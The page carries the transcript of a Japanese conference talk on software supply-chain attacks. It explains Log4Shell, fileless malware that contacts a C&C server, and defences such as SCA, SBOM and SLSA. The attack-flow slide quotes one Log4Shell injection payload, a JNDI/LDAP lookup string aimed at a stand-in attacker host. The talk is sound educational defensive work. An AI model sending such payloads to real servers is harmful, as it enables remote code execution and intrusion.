Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を...
Search
kitaji0306
October 27, 2024
Technology
0
570
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう
2024-10-27 に開催された JJUG CCC 2024 Fall の登壇資料です。
(デモ部分はスクショに差し替えてます)
kitaji0306
October 27, 2024
Tweet
Share
More Decks by kitaji0306
See All by kitaji0306
セキュリティにおける暗号の基礎とこれからの話
kitaji0306
0
480
Other Decks in Technology
See All in Technology
AIと融ける人間の冒険
pujisi
0
120
田舎で20年スクラム(後編):一個人が企業で長期戦アジャイルに挑む意味
chinmo
1
1.4k
SwiftDataを覗き見る
akidon0000
0
140
複雑さを受け入れるか、拒むか? - 事業成長とともに育ったモノリスを前に私が考えたこと #RSGT2026
murabayashi
1
1.8k
Sansan Engineering Unit 紹介資料
sansan33
PRO
1
3.6k
2025年 山梨の技術コミュニティを振り返る
yuukis
0
160
Databricks Free Edition講座 データエンジニアリング編
taka_aki
0
2.6k
Introduction to Bill One Development Engineer
sansan33
PRO
0
350
Oracle Database@Azure:サービス概要のご紹介
oracle4engineer
PRO
3
350
2026/01/16_実体験から学ぶ 2025年の失敗と対策_Progate Bar
teba_eleven
0
110
研究開発部メンバーの働き⽅ / Sansan R&D Profile
sansan33
PRO
4
21k
Oracle Database@Google Cloud:サービス概要のご紹介
oracle4engineer
PRO
1
910
Featured
See All Featured
Bootstrapping a Software Product
garrettdimon
PRO
307
120k
ReactJS: Keep Simple. Everything can be a component!
pedronauck
666
130k
B2B Lead Gen: Tactics, Traps & Triumph
marketingsoph
0
41
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
128
55k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
122
21k
Design of three-dimensional binary manipulators for pick-and-place task avoiding obstacles (IECON2024)
konakalab
0
330
Stop Working from a Prison Cell
hatefulcrawdad
273
21k
DevOps and Value Stream Thinking: Enabling flow, efficiency and business value
helenjbeal
1
78
How to Grow Your eCommerce with AI & Automation
katarinadahlin
PRO
0
89
The AI Search Optimization Roadmap by Aleyda Solis
aleyda
1
5.1k
Distributed Sagas: A Protocol for Coordinating Microservices
caitiem20
333
22k
A Soul's Torment
seathinner
4
2.1k
Transcript
端末が簡単にリモートから操作されるデモを通じて ソフトウェアサプライチェーン攻撃対策の重要性を理解しよう JJUG CCC 2024 Fall 北島 悠 #jjug_ccc #jjug_ccc_i
アジェンダ • 自己紹介 • Log4Shellから約3年どんな脆弱性だったか • ソフトウェアサプライチェーン攻撃 • リモートから操作されるイメージ •
デモ • まとめ • 最後に
自己紹介 セキュリティアーキテクト(名乗ってます) • セキュリティしか勝たん • プリセールス、人材育成、啓蒙活動などなど • @kitaji0306 北島 悠(キタジー)
Log4Shellから約3年どんな脆弱性だったか
どんな脆弱性だったか • 2021年12月10日 くらいから話題となった • Javaの有名ログライブラリApache Log4j2 起因 •
サーバ内部でコード(コマンド)実行可能 リモートコード実行 (RCE:Remote Code Execution)
当時の全社メール 2021年12月10日(金) SNSで情報拡散 画像引用元: JPCERT/CC:Apache Log4j2のRCE脆 弱性(CVE-2021-44228)を狙う攻撃観測 2021年12月13日(月)15:57
攻撃の一連の流れ LDAPを用いた攻撃の流れと各ポイントでの対策( GovCERT.chの記事より 概要図を引用) 外部から指定 可能なパラメー タやヘッダを利 用 User-Agent:
${jndi:ldap://evil.xa/x} 攻撃者が準備した LDAPサーバ Base64エンコード済 みのSerializeされた Javaオブジェクト Deserializeされた Javaオブジェクト の実行 JNDI Lookupという仕 様で解析されLDAP サーバへ通信
技術要素確認 • JNDI(Java Naming and Directory Interface) ◦ 外部リソース(LDAP等)
に接続する仕組を提供 • LDAP(Lightweight Directory Access Protocol) ◦ ディレクトリ(テキスト)情報 と通信するプロトコル • Serialize(シリアライズ) ◦ オブジェクト をbyte形式(テキストも可)に可逆変換
攻撃された具体例 画像引用:マインクラフト公式サイト (https://www.minecraft.net/ja-jp)
Log4shellという脆弱性の恐ろしいところ • 高リスクの脆弱性(CVSSスコア:10.0も有り) ◦ リモートコード実行 はシステム侵入の起点にもなる • パッチより先に攻撃方法のPoCが公開された ◦
アプリケーションで即時防御不可能なゼロデイ攻撃 • 多数のライブラリに暗黙的に内包されていた ◦ アプリの影響範囲特定が難しい ソフトウェアサプライチェーンの課題
ソフトウェアサプライチェーン攻撃
主にサプライヤーを経由する攻撃のこと サプライチェーン攻撃とは 大企業 取引先 海外子会社 強固なセキュリティで直 接攻撃は困難 セキュリティ対策の甘
い関連企業を攻撃 間接的に攻撃 攻撃者
ソフトウェアサプライチェーン攻撃とは 監 視 運 用 デプロイ コード ビルド テスト 計 画 リリース
Dev Ops 脆弱コードを仕込む ゼロデイ攻撃 API連携先から攻撃 依存パッケージから攻撃 脆弱なコンテナイメージ テスト支援ツールから攻撃 主に各工程で利用するOSSに依存した攻撃
どうしたらOSSを安全に利用出来る? 早い段階でのリスク発見と対策が必要 • SCA(ソフトウェア構成分析) ◦ 脆弱性スキャン による脆弱なライブラリの検知 • SBOM(ソフトウェア部品票)
◦ ソフトウェアサプライチェーンの可視化 • SLSA(Supply-chain Levels for Software Artifacts) ◦ 開発工程の成熟度 を測るセキュリティフレームワーク
リモートから操作されるイメージ
ファイル実行で動作 (従来のマルウェア) 仕様書.docx … 仕様書.docx .exe ファイル名を長くし て拡張子を隠す
(偽の拡張子は表 示される) 気づかないで実行
コマンドを受信して動作 (ファイルレスマルウェア) PC(Windows) PC内部のPowerShell C&C (コマンド&コントロール)サーバ
攻撃者 Officeファイルやブ ラウザの脆弱性を 利用してスクリプトを 埋め込む スクリプトから PowerShellを起動 C&Cサーバに接続 マルウェアをダウンロー ドして活動開始 ① ② ③ ④
デモ
正当な理由なく ウイルス作成、実行、不正アクセスは 犯罪です。 駄目絶対!! と、その前に
デモの登場人物及び環境 • Attacker(攻撃者) ◦ AWS EC2 ▪ ここからリモート操作する(C&Cサーバ)
• Victim(被害者) ◦ ウイルス対策ソフトの入ったWindows11(このPC) ▪ Java開発者がOSSのライブラリを利用したアプリを開発中
デモのシナリオ • 1:Attacker ◦ サーバで接続待ち受けコマンド実行 • 2:Victim
◦ ぬるぽライブラリを使った関数のテストを実行 ▪ マルウェアモドキをダウンロードしてC&Cサーバに接続 • 3:Attacker ◦ ぬるぽライブラリを実行したPCのコンソールを操作
デモ画面へGO
None
None
まとめ
まとめ • Log4Shellは非常に恐ろしい脆弱性だった ◦ 攻撃の仕組み を理解するだけでも有用 • ソフトウェアサプライチェーン攻撃対策 ◦ 開発工程早期のセキュリティ対策
が有用 • ツール(SSHやRDP)不要でリモート操作可能 ◦ 対策ソフト以外に各自のセキュリティ意識も重要 自分たちのソフトウェアを自分たちで守る
最後に
みんなの学びを少しでも公開すると 新たな気づきを得る人が増えます。 どこでも良いので アウトプット してみましょ!!